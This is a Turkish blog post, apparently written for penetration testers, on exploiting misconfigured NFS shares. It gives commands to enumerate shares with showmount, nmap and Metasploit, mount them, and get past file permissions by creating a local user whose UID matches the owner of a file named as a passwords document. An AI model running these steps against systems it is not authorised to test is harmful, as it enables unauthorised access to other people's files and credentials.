21 Aralık 2013 Cumartesi

İpucu: NFS Paylaşımının İstismarı

NFS Paylaşımının İstismarı

NFS (Network File System) UNIX/Linux işletim sistemlerinin doğal, kararlı ve güçlü bir dosya paylaşım sistemidir. Gerekli yapılandırma dosyası /etc/exports olup güvenlik özellikleri göz ardı edildiğinde istismar edilebilecek bir zafiyete neden olabilir. Bu yazıda NFS paylaşımı üzerinden sistem üzerinde yetki elde etmeye yönelik bir yöntemden bahsedilecektir.

Varsayılan olarak 2049/tcp üzerinden çalışan NFS servisinin tespiti nmap vb. araçlarla gerçekleştirildikten sonra servisin açık olduğu belirlenen varlık üzerindeki paylaşımların tespiti için farklı araçlar kullanılabilir.

Geleneksel Linux sistemlerdeki showmount komutu ile paylaşım tespiti:
# showmount -e 10.0.0.5
Nmap aracı ile paylaşım tespiti:
# nmap -n -PN -sS -T5 -p 2049 --script=nfs-showmount 10.0.0.0/24
Metasploit ile paylaşım tespiti:
msf > use auxiliary/scanner/nfs/nfsmount
msf auxiliary(nfsmount) > set RHOSTS 10.0.0.0/24
msf auxiliary(nfsmount) > run
Tespit edilen paylaşımların yerel sisteme bağlanması  şu şekilde gerçekleşir.
# mount -t nfs 10.0.05:/paylasim_adi /baglama_dizini
Daha öncede belirtildiği üzere /etc/exports içerisindeki
/       *(rw)
şeklindeki bir yapılandırma ile bütün sistem herhangi bir erişim izni olmaksızın ağdaki herkesin yerel sistemine okuma/yazma hakkı ile bağlanabilir duruma gelebilmektedir. Ve bu sızma testlerinde büyük ölçekli kurumsal yapılarda dahi karşılaşılabilen bir durumdur. Böyle bir durumda Linux sistemler için gerçekleştirilebilecek post-exploitation adımları uygulanabilir.
Bir diğer durumda bağlanan sistemin farklı UID değerli kullanıcıya ait olması nedeniyle dosyaların açılamaması durumudur. Öncelikle showmount komutu ile /export/home dizininin paylaşıldığı bir ortamda saldırgan sistem üzerinde öncelikle aşağıdaki komut ile hedef dizine yerele bağlanır.
#mount -t nfs 192.168.0.1:/export/home /baglama_dizini
Hedef dizini bu şekilde yerel sisteme bağlandıktan sonra ls -al komutunun çıktısı sonucunda bağlanan dosyaların yerel sistemde mevcut olmayan UID değerine sahip bir kullanıcıya ait olduğu görülebilir
-rwxr----- 2626 1000 1898 parolalar_doc
DAC mantığı ile çalışan geleneksel sistemler bu dosyanın açılmasına izin vermeyeceği için şu şekilde bir yöntem izlenebilir. Öncelikle dizin bağı çözülür:
# umount /baglama_dizini
Örnek bir kullanıcı oluşturulup UID değeri paylaşımındaki değer olacak şekilde ayarlanır.
# useradd raptiye
# usermod -u 2626 raptiye
Yeni kullanıcının ortamına geçiş yapılır:
# su raptiye
Bu noktadan sonra paylaşım tekrar yerele bağlandığında aynı UID'li kullanıcıya sahip olunduğu için bağlanan dosyalar sorunsuz şekilde açılacaktır.

Kaynak:
http://www.agguvenligi.net/2013/01/nfs-istismari.html

Hiç yorum yok:

Yorum Gönder